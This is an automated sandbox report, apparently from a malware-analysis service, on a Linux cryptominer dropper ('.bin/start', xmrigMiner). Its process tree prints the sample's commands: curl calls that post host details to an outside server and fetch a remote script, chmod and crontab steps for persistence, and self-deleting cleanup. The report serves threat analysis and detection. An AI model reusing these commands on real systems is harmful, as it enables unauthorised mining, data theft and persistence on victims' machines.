Overview

overview

10

Static

static

10

.bin/h32

ubuntu-24.04-amd64

.bin/h64

ubuntu-24.04-amd64

1

.bin/md64

ubuntu-24.04-amd64

1

.bin/start

ubuntu-18.04-amd64

6

.bin/start

debian-9-armhf

6

.bin/start

debian-9-mips

7

.bin/start

debian-9-mipsel

7

.bin/x86/daemon

ubuntu-24.04-amd64

.bin/x86/xmrigMiner

ubuntu-24.04-amd64

Analysis

  • max time kernel
    26s
  • max time network
    19s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    16/10/2024, 01:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    .bin/start
  • Size 1KB
  • Sample241016-ccn8bsxbjf
  • SHA256 f7d60f307239796c0be315a118663e90bebff9e9117839160f3d92fdfe3c040c
  • MD5 SHA1 SHA512
Score
7/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 2 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 49 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Peripheral Device Discovery 1 TTPs 1 IoCs

    Adversaries may attempt to discover attached peripheral devices.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/.bin/start
    /tmp/.bin/start
    1⤵
    • Writes file to tmp directory
    PID:720
    • /bin/grep
      grep sh
      2⤵
        PID:727
      • /bin/ps
        ps x
        2⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:724
      • /bin/grep
        grep -v grep
        2⤵
          PID:726
        • /bin/grep
          grep Ssl
          2⤵
            PID:728
          • /usr/bin/awk
            awk "{print \$1}"
            2⤵
              PID:729
            • /bin/grep
              grep xmrigMiner
              2⤵
                PID:735
              • /bin/ps
                ps x
                2⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:733
              • /bin/grep
                grep -v grep
                2⤵
                  PID:734
                • /usr/bin/awk
                  awk "{print \$1}"
                  2⤵
                    PID:736
                  • /usr/bin/nproc
                    nproc
                    2⤵
                      PID:738
                    • /bin/uname
                      uname -m
                      2⤵
                        PID:740
                      • /usr/bin/curl
                        curl http://www.karaibe.us/.foo/remote/info.php
                        2⤵
                          PID:741
                        • /usr/bin/whoami
                          whoami
                          2⤵
                            PID:747
                          • /bin/date
                            date
                            2⤵
                              PID:748
                            • /usr/bin/nproc
                              nproc
                              2⤵
                                PID:750
                              • /bin/grep
                                grep -i --color "vga\\|3d\\|2d"
                                2⤵
                                  PID:753
                                • /usr/bin/lspci
                                  lspci
                                  2⤵
                                  • Enumerates kernel/hardware configuration
                                  • Peripheral Device Discovery
                                  PID:752
                                • /bin/cat
                                  cat .miner
                                  2⤵
                                    PID:754
                                  • /bin/cat
                                    cat data.file
                                    2⤵
                                      PID:755
                                    • /usr/bin/curl
                                      curl -d "info=NEW-MINER-RYO&data=root@ DATE: Wed Oct 16 01:56:10 CEST 2024 SCANDIR: /tmp/.bin PROCESORS: 1 VIDEO CARDS: 00:12.0 VGA compatible controller: Cirrus Logic GD 5446 MINER NAME: miner19837" http://www.karaibe.us/.foo/remote/info.php
                                      2⤵
                                        PID:756
                                      • /bin/rm
                                        rm -rf data.file
                                        2⤵
                                          PID:758
                                        • /bin/readlink
                                          readlink -f /tmp/.bin/start
                                          2⤵
                                            PID:761
                                          • /usr/bin/dirname
                                            dirname /tmp/.bin/start
                                            2⤵
                                              PID:759
                                            • /bin/sleep
                                              sleep 10
                                              2⤵
                                                PID:762
                                              • /bin/rm
                                                rm -rf /var/tmp/.nano
                                                2⤵
                                                  PID:826
                                                • /bin/mkdir
                                                  mkdir /var/tmp/.nano
                                                  2⤵
                                                    PID:827
                                                  • /usr/bin/curl
                                                    curl -s http://www.karaibe.us/.foo/nanor.sh
                                                    2⤵
                                                      PID:828
                                                    • /bin/chmod
                                                      chmod +x /var/tmp/.nano/nano.sh
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:835
                                                    • /usr/bin/crontab
                                                      crontab cron.d
                                                      2⤵
                                                      • Creates/modifies Cron job
                                                      • Reads runtime system information
                                                      PID:836
                                                    • /usr/bin/crontab
                                                      crontab -l
                                                      2⤵
                                                        PID:838
                                                      • /bin/rm
                                                        rm -rf cron.d
                                                        2⤵
                                                          PID:840
                                                        • /bin/sleep
                                                          sleep 10
                                                          2⤵
                                                            PID:841
                                                          • /bin/rm
                                                            rm -rf /tmp/.bin/start
                                                            2⤵
                                                              PID:847
                                                            • /bin/rm
                                                              rm -rf /tmp/.bin
                                                              2⤵
                                                                PID:849

                                                            Network

                                                                  MITRE ATT&CK Enterprise v15

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  .miner
                                                                  • Path /tmp/.bin/.miner
                                                                  • Size 11B
                                                                  • SHA256 8ee8f13f19b26ce4cead6a48b05a7159952780fb7675fd4580f7c81e0b4a360f
                                                                  • MD5 SHA1 SHA512
                                                                  Submit Download

                                                                  cron.d
                                                                  • Path /tmp/.bin/cron.d
                                                                  • Size 226B
                                                                  • SHA256 b0c952e30be8cae1b289cfa674c7edfd7190abda40401a0e783be2a21534ad84
                                                                  • MD5 SHA1 SHA512
                                                                  Submit Download

                                                                  data.file
                                                                  • Path /tmp/.bin/data.file
                                                                  • Size 166B
                                                                  • SHA256 3a196e903d8a32d47b51cad53ab7388399e7d06dbdc3652fefb93a8f38b8db0c
                                                                  • MD5 SHA1 SHA512
                                                                  Submit Download

                                                                  tmp.msN3Yq
                                                                  • Path /var/spool/cron/crontabs/tmp.msN3Yq
                                                                  • Size 406B
                                                                  • SHA256 877ba3cf0bc37051653bc3d9ffa7b2468fd91e1a239456b2b932efc0340233ae
                                                                  • MD5 SHA1 SHA512
                                                                  Submit Download